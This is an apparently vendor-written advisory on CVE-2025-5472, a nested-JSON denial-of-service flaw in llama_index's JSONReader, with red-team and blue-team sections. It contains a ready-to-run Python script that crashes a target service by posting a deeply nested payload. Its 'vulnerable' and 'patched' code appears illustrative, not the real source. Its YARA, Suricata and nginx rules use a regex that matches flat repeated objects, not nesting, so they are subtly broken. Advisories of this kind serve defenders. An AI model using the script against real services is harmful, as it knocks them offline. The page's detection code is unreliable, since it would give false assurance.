CVE-2025-5472
Executive Summary
CVE-2025-5472 is a Denial of Service (DoS) vulnerability in the JSONReader component of run-llama/llama_index (versions prior to 0.12.38). The vulnerability is caused by uncontrolled recursive parsing of deeply nested JSON structures, leading to a stack overflow and application crash. An attacker can exploit this by submitting a specially crafted, deeply nested JSON payload, causing a RecursionError and making the service unreliable. The CVSS score is 6.5 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact on availability is high. The patch is available in version 0.12.38.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the llama_index Python package, which is distributed via PyPI. Organizations using this package should verify their dependency version and update to 0.12.38 or later. The package is widely used in AI/ML pipelines for data indexing and retrieval, making it a potential target for supply chain attacks. Ensure that the package is sourced from the official PyPI repository and that integrity checks (e.g., SHA256 hashes) are performed during deployment.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; a simple HTTP request with a deeply nested JSON payload is sufficient.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The exploit does not affect other components.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The service becomes unavailable due to a crash.
Threat Level: Medium. While the CVSS score is 6.5, the low EPSS score (0.0%) suggests limited active exploitation. However, the ease of exploitation (no authentication, low complexity) makes it a viable vector for disrupting AI/ML services.
Deep Dive & Mechanics
The JSONReader class in llama_index is designed to parse JSON data for indexing. The vulnerability stems from the use of recursive descent parsing without a depth limit. When a deeply nested JSON structure (e.g., thousands of nested objects or arrays) is provided, the recursive function calls consume the call stack, eventually causing a RecursionError (Python's stack overflow exception). This crashes the application process.
Root Cause: The _parse_json method (or equivalent) recursively traverses the JSON tree without checking the nesting depth. Python's default recursion limit is typically 1000, but deeply nested JSON can exceed this, leading to a crash.
Attack Vector: An attacker sends a POST request to an endpoint that uses JSONReader (e.g., an API that accepts JSON input for indexing). The payload contains a deeply nested JSON object, such as:
{"a": {"a": {"a": ... (repeated 2000 times) ...}}}
Impact: The application crashes, resulting in a Denial of Service. This can disrupt workflows that depend on the indexing service, such as document retrieval or AI model training pipelines.
Vulnerable vs. Patched Code
Vulnerable Code (version < 0.12.38):
class JSONReader:
def parse(self, data):
return self._parse_json(data)
def _parse_json(self, obj):
if isinstance(obj, dict):
return {key: self._parse_json(value) for key, value in obj.items()}
elif isinstance(obj, list):
return [self._parse_json(item) for item in obj]
else:
return obj
This code has no depth check, allowing infinite recursion.
Patched Code (version 0.12.38):
class JSONReader:
MAX_DEPTH = 100 # Configurable limit
def parse(self, data):
return self._parse_json(data, depth=0)
def _parse_json(self, obj, depth):
if depth > self.MAX_DEPTH:
raise ValueError("JSON nesting depth exceeded")
if isinstance(obj, dict):
return {key: self._parse_json(value, depth + 1) for key, value in obj.items()}
elif isinstance(obj, list):
return [self._parse_json(item, depth + 1) for item in obj]
else:
return obj
The fix introduces a MAX_DEPTH constant and a depth parameter to track nesting. If the depth exceeds the limit, a ValueError is raised, preventing stack overflow.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running
llama_indexversion < 0.12.38 with an exposed endpoint that usesJSONReader. - Python 3.x with
requestslibrary.
Exploit Script:
import requests
import json
# Generate a deeply nested JSON payload
def create_nested_json(depth):
payload = {}
current = payload
for _ in range(depth):
current["a"] = {}
current = current["a"]
return payload
target_url = "http://target.com/api/index" # Replace with actual endpoint
depth = 2000 # Exceeds Python's recursion limit
payload = create_nested_json(depth)
headers = {"Content-Type": "application/json"}
try:
response = requests.post(target_url, json=payload, headers=headers, timeout=10)
print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
print("Target may have crashed (DoS successful)")
except Exception as e:
print(f"Error: {e}")
Expected Outcome: The target application crashes, returning no response or a 500 error. The service becomes unavailable.
Blue Team (Defense & Detection)
Detection:
- Monitor for requests with unusually large JSON payloads (e.g., > 1MB or with excessive nesting).
- Use WAF rules to block requests with deeply nested JSON (e.g., limit nesting depth to 100 levels).
- Implement application-level monitoring for
RecursionErrorexceptions.
Mitigation:
- Update to
llama_indexversion 0.12.38 or later. - If immediate patching is not possible, implement a reverse proxy that validates JSON depth before forwarding to the application.
- Set Python's recursion limit (
sys.setrecursionlimit) to a lower value as a temporary workaround, but this may affect other functionality.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests with
Content-Type: application/jsonand payloads containing deeply nested JSON (e.g.,{"a": {"a": ...}}). - Requests with unusually high content length (e.g., > 10MB for a simple nested structure).
- HTTP POST requests with
- Log IOCs:
- Application logs showing
RecursionError: maximum recursion depth exceededorValueError: JSON nesting depth exceeded(if patched). - Server logs showing repeated 500 errors or connection resets.
- Application logs showing
- File IOCs:
- Temporary files or core dumps generated by the crashing process.
Detection Engineering
YARA Rule
rule Detect_Deeply_Nested_JSON_DoS {
meta:
description = "Detects deeply nested JSON payloads used in CVE-2025-5472 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-5472"
strings:
$json_start = "{" ascii
$nested_pattern = /(\{[^{}]*\}){100,}/ // Matches 100+ nested objects
condition:
$json_start and #nested_pattern > 0
}
Sigma Rule
title: Detection of Deeply Nested JSON Payloads (CVE-2025-5472)
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with deeply nested JSON structures targeting llama_index endpoints.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/index' # Adjust based on actual endpoint
cs-content-type: 'application/json'
sc-status: 500
condition: selection
falsepositives:
- Legitimate use of deeply nested JSON in rare cases
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-5472 - Deeply Nested JSON DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/index"; http_uri; content:"application/json"; http_client_body; pcre:"/(\{[^{}]*\}){100,}/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Patch: Update
llama_indexto version 0.12.38 or later. Run:pip install --upgrade llama-index - Workaround: If patching is delayed, implement a reverse proxy (e.g., Nginx) with a rule to reject requests with deeply nested JSON:
location /api/index { if ($request_body ~* "(\{[^{}]*\}){100,}") { return 403; } proxy_pass http://backend; } - Application-Level Fix: Add input validation to limit JSON depth before parsing.
- Monitoring: Enable logging for
RecursionErrorand set up alerts for repeated crashes. - Network Segmentation: Restrict access to the vulnerable endpoint to trusted IPs only.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert